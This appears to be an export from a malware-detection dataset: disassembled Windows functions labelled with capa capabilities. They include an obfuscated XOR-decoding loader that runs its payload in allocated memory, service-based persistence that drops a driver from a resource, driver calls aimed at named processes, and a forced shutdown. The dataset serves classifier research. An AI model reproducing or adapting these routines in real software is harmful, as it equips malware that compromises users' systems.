joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451537
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4afa58]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x45157d
cmp word [ebx], dx
jne 0x45157d
or byte [eax + edi + 0x28], 4
jmp 0x451582
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4516e5
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4516c5
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4515c3
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4515f9
cmp eax, edx
jae 0x451607
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x45159e
jmp 0x4516e5
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4516c0
cmp dword [ebp - 0x18], 0
je 0x4516c0
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4afa58]
test byte [eax + edi + 0x28], 0x48
je 0x451696
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x45165a
mov word [esi], cx
jmp 0x451691
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4afa58]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4afa58]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4afa58]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4516e5
pop eax
cmp word [ebp - 4], ax
jne 0x4516a6
cmp esi, ebx
jne 0x4516a6
mov word [esi], ax
jmp 0x4516e2
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00451f70
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4516e5
push 0xd
pop eax
jmp 0x4516a1
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4afa58]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4516df
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4516e5
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x457420
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45744d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45744d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x432008
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x432017
pop dword [ebp - 0x28]
mov eax, 0xc35e2ec8
add eax, 0x3ce4f14f
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x6b860303
add dword [ebp - 0x38], 0xe2cc4248
mov dword [ebp - 0x34], 0x5ad53f8c
sub dword [ebp - 0x34], 0x28a1f347
mov dword [ebp - 0x30], 0x488ddc47
add dword [ebp - 0x30], 0x3be67e7
mov dword [ebp - 0x2c], 0x8719bd7
add dword [ebp - 0x2c], 0xf78e6429
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x87f34a83
add dword [ebp - 0x38], 0xec7f1ed3
mov dword [ebp - 0x34], 0x5eb17a55
sub dword [ebp - 0x34], 0x1d4518e0
mov dword [ebp - 0x30], 0x197bb1fb
add dword [ebp - 0x30], 0x49f3ba71
mov dword [ebp - 0x2c], 0xd5176d77
add dword [ebp - 0x2c], 0x2ae89289
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x13527b00
sub eax, 0x130f18d0
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x45fd2
push 0
call eax
mov ecx, 0x6dce85c3
sub ecx, 0x6dce3223
xor esi, esi
add esi, eax
mov edx, 0xc5727421
sub edx, 0xc52cac21
add edx, dword [ebp - 0x28]
mov edi, 0xb97e538f
sub edi, 0xd94567ff
add dword [ebp - 0x1c], esi
mov ebx, dword [edx]
add dword [ebp - 0x14], esi
xor ebx, edi
add dword [ebp - 4], 0x31ca7cd6
mov dword [esi], ebx
xor dword [ebp - 8], 0x4ba4a32b
add esi, 0xed4c8a24
sub esi, 0xed4c8a20
add edx, 4
loop 0x432136
add eax, 0xdb717cc1
add eax, 0x248fc492
xor ebx, ebx
add ebx, eax
add eax, 0xaa854f0c
sub eax, 0xaa854f07
mov ecx, 0xa6ce0336
add ecx, 0x5971fcca
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x100002b0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
push ebx
push esi
push edi
lea eax, [ebp - 0x1d8]
push eax
push 0x202
mov dword [ebp - 4], 1
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp + 0xc]
xor ebx, ebx
cmp eax, ebx
jne 0x100002fc
push 0x40
lea eax, [ebp - 0x48]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
cmp esi, ebx
jne 0x1000030e
mov dword [ebp - 4], ebx
jmp 0x10000385
push 4
push ebx
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
mov ecx, dword [esi + 0xc]
add esp, 0xc
xor edi, edi
cmp dword [ecx], ebx
je 0x10000385
xor eax, eax
mov esi, ecx
mov eax, dword [esi + eax]
movzx edx, byte [eax]
movzx eax, byte [eax + 1]
cmp edx, 0xc0
je 0x10000368
cmp eax, 0xa8
je 0x10000368
cmp edx, 0xa9
je 0x10000368
cmp eax, 0xfe
je 0x10000368
cmp edx, 0xac
je 0x10000368
cmp eax, 0x10
je 0x10000368
cmp edx, 0xa
je 0x10000368
cmp edx, 0x7f
jne 0x10000375
inc edi
mov eax, edi
shl eax, 2
cmp dword [ecx + eax], ebx
jne 0x10000329
jmp 0x10000385
push 4
push dword [ecx + edi*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cmp eax, ebx
je 0x10000393
cmp eax, 0xffffffff
jne 0x10000396
mov dword [ebp - 4], ebx
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100007ca
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
xor esi, esi
xor ebx, ebx
cmp dword [ebp + 0xc], esi
je 0x10000858
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push esi
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x58], str.winsta0default
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push dword [ebp - 4]
push 0x4000400
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
cmp esi, 1
jne 0x1000086b
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
jmp 0x1000086b
push 5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x1000086b
xor ebx, ebx
inc ebx
pop esi
mov eax, ebx
pop ebx
leave
ret 8

Function at 0x10000c73
Capabilities:
Check if file exists
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push esi
push edi
mov esi, str.E:SR
xor edi, edi
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10000ca3
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10000d62
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x15c]
push str._s_d.log
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x40
lea eax, [ebp - 0x58]
push edi
push eax
call sub.MSVCRT.dll_memset
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push str._r_n_d__d__d__d
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x24
push dword [ebp + 8]
call esi
push edi
push 0x80
push 4
push edi
push 3
mov dword [ebp - 8], eax
push 0xc0000000
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
push edi
mov ebx, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x58]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
call esi
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp + 8]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10000dec
Capabilities:
Check if file exists
Read file on windows

Disassembly:
sub esp, 0x20
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0xc0000000
push str..pipe5E73E82B_9894_493b_A424_676808F8A45E
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 2
mov dword [esp + 0x38], edi
mov dword [esp + 0x2c], 0x2710
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x10000e6a
mov ebx, 0xc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x10000eb0
cmp dword [esp + 0x10], edi
jbe 0x10000eac
sub dword [esp + 0x10], ebx
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push 3
push edi
push edi
push 0xc0000000
push str..pipe5E73E82B_9894_493b_A424_676808F8A45E
call ebp
mov esi, eax
cmp esi, 0xffffffff
je 0x10000e35
push edi
push edi
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push edi
lea eax, [esp + 0x20]
push eax
push 0x10
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x10002c58
call fcn.10000daa
mov esi, eax
lea eax, [esp + 0x20]
call fcn.10000daa
cmp eax, esi
jb 0x10000eb0
mov dword [esp + 0x14], edi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10000f1b
Capabilities:
Check os version
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x610
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [0x10002c50], 0
mov dword [ebp - 4], eax
jne 0x10001073
push ebx
push esi
push edi
push 0x100029a0
mov dword [0x10002c50], 1
mov dword [0x100029a0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x210]
push eax
push 0
call esi
mov edi, dword [sym.imp.MSVCRT.dll_strrchr]
lea eax, [ebp - 0x210]
push 0x5c
push eax
call edi
pop ecx
pop ecx
inc eax
mov dword [ebp - 8], eax
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [0x10002c4c]
call esi
lea eax, [ebp - 0x10c]
push 0x5c
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
pop ecx
pop ecx
inc eax
push 0x10001d40
push eax
call esi
test eax, eax
je 0x10000fe0
push str.Global65B4B2F0_2810_4df5_BD0F_0CE435A61102
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov esi, eax
cmp esi, edi
je 0x10000fff
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10000fff
cmp dword [0x100029a4], 5
mov eax, str.svchost.exe
ja 0x10000ff3
mov eax, str.winlogon.exe
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x10001070
xor edi, edi
call fcn.10000dec
test eax, eax
jne 0x10001020
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push eax
push 0x10001d68
jmp 0x10001054
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10000ebc
push edi
push edi
call esi
push edi
push edi
push edi
push 0x10001776
push edi
push edi
call esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push eax
push 0x10001db4
lea eax, [ebp - 0x610]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x610]
push eax
call fcn.10000c73
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001315
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [0x10002c4c]
push edi
push 0x10001e10
push 0x68
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
xor esi, esi
push esi
push esi
push 4
push esi
push esi
push 0xc0000000
push dword [ebp + 8]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001388
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x10001596
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
push esi
push edi
call fcn.10000d68
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x40]
push str._.8X
push eax
call esi
lea eax, [ebp - 0x40]
push eax
push 0x10002b48
lea eax, [ebp - 0x144]
push str._s_s.sys
push eax
call esi
add esp, 0x1c
push 0xf003f
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push esi
push esi
push esi
push esi
push str.Base
mov ebx, eax
lea eax, [ebp - 0x144]
push eax
push 1
push 2
push 1
push 0xf01ff
lea eax, [ebp - 0x40]
push eax
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
lea eax, [ebp - 0x144]
push eax
call fcn.10001315
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
xor edi, edi
push esi
push esi
push 3
push esi
push 3
push 0xc0000000
push str..Guntior
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x10001661
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x14
jb 0x10001630
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov dword [section..data], eax
xor eax, eax
inc eax
jmp 0x1000165c

Function at 0x1000166b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
mov esi, 0x128
push esi
xor ebx, ebx
lea eax, [ebp - 0x138]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
push 2
mov dword [ebp - 0x138], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x138]
push ecx
push eax
mov dword [ebp - 4], eax
call sub.KERNEL32.dll_Process32First
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
cmp dword [ebp + 0xc], 2
jne 0x10001701
mov esi, dword [ebp + 8]
mov dword [ebp - 8], ebx
jmp 0x100016fb
push esi
lea eax, [ebp - 0x114]
push eax
call edi
test eax, eax
jne 0x100016f0
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 4
lea eax, [ebp - 0x130]
push eax
push 0x222444
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x100016c1
jmp 0x10001717
cmp dword [ebp + 0xc], 4
jne 0x10001717
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call edi
test eax, eax
je 0x1000173e
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100016b3
mov esi, ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
mov esi, dword [ebp - 0x130]
jmp 0x1000172c
Function at 0x404e06
Capabilities:
Shutdown system

Disassembly:
call fcn.0042bdd0
push 2
mov eax, str.SeShutdownPrivilege
push eax
call fcn.00408fa3
movsx eax, byte [esp + 4]
push eax
push 0
push 1
mov eax, str.Exit
push eax
push 0
call sub.ADVAPI32.dll_InitiateSystemShutdownW
xor eax, eax
ret 4
Function at 0x405903
Capabilities:
Get disk information

Disassembly:
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0042bdd0
push dword [esp + 0x20]
call fcn.00416420
mov dword [esp], 0
mov dword [esp + 4], 1
mov edx, 0x42f02e
lea ecx, [esp + 8]
call fcn.00416068
mov edx, 0x42f02e
lea ecx, [esp + 0xc]
call fcn.00416068
call sub.KERNEL32.dll_GetLogicalDrives
mov dword [esp + 0x10], eax
mov dword [esp], 0
jmp 0x405957
mov eax, 0x19
cmp eax, dword [esp]
jl 0x4059b3
mov ebx, dword [esp + 0x10]
mov edi, dword [esp + 4]
mov ecx, dword [esp]
shl edi, cl
and ebx, edi
and ebx, ebx
je 0x4059ae
mov edx, dword [esp + 8]
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bcc0
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
mov ebx, dword [esp + 0xc]
add ebx, 0x41
push ebx
call fcn.0042a520
pop eax
lea eax, [esp + 0xc]
push eax
call fcn.0042bc30
inc dword [esp]
jno 0x405957
mov eax, 0x42fd44
push eax
call fcn.0042a540
mov dword [esp], eax
jmp 0x4059c3
mov eax, 0x42fdb4
push eax
call fcn.0042a540
cmp eax, dword [esp]
jl 0x405aa3
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
push dword [esp + 0xc]
call fcn.0042a520
call fcn.0042be90
push dword [esp + 0x10]
call fcn.00416402
add dword [esp + 4], edx
call fcn.00429b80
call fcn.00416420
and eax, eax
je 0x405a1c
xor eax, eax
jmp 0x405a21
mov eax, 1
and eax, eax
je 0x405a9a
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
push dword [esp + 0xc]
call fcn.0042a520
mov edx, 0x42f1b4
push edx
call fcn.0042bcc0
call fcn.00416402
add dword [esp], edx
call sub.KERNEL32.dll_GetDriveTypeW
call fcn.00416420
mov ebx, eax
cmp ebx, 1
jne 0x405a9a
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
push dword [esp + 8]
call fcn.0042a520
mov edx, 0x42f1b4
push edx
call fcn.0042bcc0
lea eax, [esp + 0x10]
push eax
call fcn.0042bc30
jmp 0x405aa3
inc dword [esp]
jno 0x4059c3
mov edx, dword [esp + 0xc]
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bcc0
pop eax
push eax
call fcn.004163f0
pop edx
add eax, edx
jmp 0x405acb
push dword [esp + 0xc]
call fcn.0042be60
push dword [esp + 8]
call fcn.0042be60
add esp, 0x14
pop edi
pop ebx
ret

Function at 0x409c44
Capabilities:
Get common file path

Disassembly:
xor eax, eax
push eax
push eax
call fcn.0042bdd0
push dword [esp + 0x10]
call fcn.00416420
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
push 0x104
call fcn.004295b0
lea eax, [esp + 8]
push eax
call fcn.0042bc30
lea eax, [esp]
push eax
push 0
push 0
push dword [esp + 0x18]
push 0
call sub.SHELL32.dll_SHGetFolderLocation
mov eax, dword [esp + 4]
push eax
push dword [esp + 4]
call sub.SHELL32.dll_SHGetPathFromIDListW
mov edx, dword [esp + 4]
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bcc0
pop eax
push eax
call fcn.004163f0
pop edx
add eax, edx
jmp 0x409ccc
push dword [esp + 4]
call fcn.0042be60
add esp, 8
ret 4
Function at 0x40ac40
Capabilities:
Get disk information

Disassembly:
push ebp
push ebx
push edi
mov edx, 0xd
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x40ac48
call fcn.0042bdd0
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
push 0x104
call fcn.004295b0
lea eax, [esp + 0x10]
push eax
call fcn.0042bc30
lea eax, [esp + 0x10]
mov edx, 0x42f02e
push edx
push 3
push eax
call fcn.0042bd60
lea eax, [esp + 0x18]
mov edx, 0x42f02e
push edx
push 7
push eax
call fcn.0042bd60
mov dword [esp + 0x28], 0
mov byte [esp + 0x30], 0
mov eax, dword [esp + 0xc]
push eax
push 0x104
call sub.KERNEL32.dll_GetLogicalDriveStringsW
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0
jmp 0x40acd2
mov ebx, dword [esp + 0x28]
mov eax, ebx
mov ecx, 4
cdq
idiv ecx
mov ebx, eax
dec ebx
cmp ebx, dword [esp + 0x2c]
jl 0x40add5
push 0
push 0xc
lea eax, [esp + 8]
push eax
call fcn.0042ad40
push edx
call fcn.0042bbf0
pop edx
push eax
push edx
call fcn.0042bbf0
pop edx
push eax
mov eax, dword [esp + 0x14]
mov ebx, eax
mov edi, dword [esp + 0x34]
shl edi, 2
add edi, edi
add ebx, edi
push ebx
call fcn.0042acf0
lea eax, [esp + 0x14]
push 3
push eax
call fcn.0042bd20
push edx
call fcn.0042bbf0
pop edx
push eax
mov edx, str.._
push edx
call fcn.0042bcc0
lea edx, [esp + 0x14]
push 3
push edx
call fcn.0042bec0
lea eax, [esp + 0x1c]
push 7
push eax
call fcn.0042bd20
push edx
call fcn.0042bbf0
pop edx
push eax
lea eax, [esp + 4]
push eax
lea edx, [esp + 0x20]
push edx
call fcn.0042bbf0
pop edx
push eax
push 7
push edx
call fcn.0042bec0
call fcn.00416402
add dword [esp], edx
call fcn.0040cabb
call fcn.00416420
and eax, eax
je 0x40adcb
lea ebp, [esp]
mov ebx, dword [ebp + 4]
cmp ebx, dword [esp + 0x44]
jne 0x40adbe
mov ebx, dword [ebp + 8]
cmp ebx, dword [esp + 0x48]
jne 0x40adbe
mov eax, 1
jmp 0x40adc0
xor eax, eax
and eax, eax
je 0x40adcb
mov byte [esp + 0x30], 1
jmp 0x40add5
inc dword [esp + 0x2c]
jno 0x40acd2
movsx eax, byte [esp + 0x30]
movsx eax, al
jmp 0x40ade1
push dword [esp + 0xc]
call fcn.0042be60
add esp, 0x34
pop edi
pop ebx
pop ebp
ret 8